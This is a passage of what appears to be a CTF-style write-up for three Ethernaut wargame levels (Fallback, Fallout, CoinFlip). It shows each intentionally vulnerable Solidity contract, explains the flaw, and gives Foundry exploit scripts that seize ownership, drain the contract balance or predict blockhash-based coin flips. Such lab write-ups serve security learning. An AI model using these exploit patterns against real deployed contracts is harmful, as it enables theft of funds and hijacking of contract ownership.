Fallback
our goal :
- claim ownership of the contract
- reduce its balance to 0
original contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
as we send eth to the contract , the ownership automatically changed to us:
receive ETH
|
msg.data empty?
/ \
T F
/ \
receive() exists? fallback()
/ \
T F
/ \
receive() fallback()
so the answer:
contibute
to fund our account in contractcall{value: }("")
to send eth to contract , trigger thefallback
(in this casereceive
)- owner changed and
withdraw
all the fund in contract
POC:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {Fallback} from "../src/Fallback.sol";
error callFailed();
contract fallBackSolution is Script {
function run() external {
uint256 PK = vm.envUint("PRIVATE_KEY");
Fallback fallBackInstance = Fallback(payable(vm.envAddress("FALLBACK_ADDRESS")));
// Fallback fallBackInstance = Fallback(payable(0x8Dafc24Ac2B813590f0a6b007159a1140c5Fd33c));
console.log("fallbackInstanceAddress: ", address(fallBackInstance));
vm.startBroadcast(PK);
fallBackInstance.contribute{value: 1}();
(bool temp,) = payable(fallBackInstance).call{value: 1}("");
if (!temp) revert callFailed();
console.log("New owner: ", fallBackInstance.owner());
fallBackInstance.withdraw();
vm.stopBroadcast();
}
}
Fallout
our goal:
- claim the ownership
original contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
// forge install openzeppelin-contracts-06=OpenZeppelin/openzeppelin-contracts@v3.4.0
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
call the function Fal1out
to gain the ownership
POC:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import {Script, console} from "forge-std/Script.sol";
import {Fallout} from "../src/Fallout.sol";
contract CounterScript is Script {
uint256 PK = vm.envUint("PRIVATE_KEY");
address instanceAddress = vm.envAddress("FALLOUT_ADDRESS");
function run() public {
Fallout fallOut = Fallout(instanceAddress);
vm.startBroadcast(PK);
console.log("contract owner: ", fallOut.owner());
console.log("calling Fal1out...");
fallOut.Fal1out();
console.log("contract owner: ", fallOut.owner());
vm.stopBroadcast();
}
}
CoinFlip
our goal:
- win 10 times in a row
original contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
the contract uses unsafe factor which we can predict the side of coin each time
when writing exp , there are few things need to concern:
block.number
was0
when not pointed , usevm.roll()
to set block number, otherwise it may take underflow error- use
--tc CoinFlipScript
to point which contract to run - The contract has hash check, however ,when we do local simulation the hash won't change. So use
--skip-simulation
to skip simulation check
POC:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {CoinFlip} from "../src/CoinFlip.sol";
contract exp {
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(CoinFlip _coinFlip) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 _tp = blockValue / FACTOR;
console.log("_tp: ", _tp);
bool _side = _tp == 1 ? true : false;
console.log("_side: ", _side);
_coinFlip.flip(_side);
}
}
contract CoinFlipScript is Script {
uint256 PK = vm.envUint("PRIVATE_KEY");
address instanceAddress = vm.envAddress("COINFLIP_ADDRESS");
CoinFlip coinFlipInstance = CoinFlip(instanceAddress);
// function setUp() public {}
function run() public {
// vm.broadcast();
vm.roll(100);
vm.startBroadcast(PK);
for (uint256 i = 0; i < 10; i++) {
vm.roll(100 + i);
new exp(coinFlipInstance);
console.log("wins: ", coinFlipInstance.consecutiveWins());
}
vm.stopBroadcast();
}
}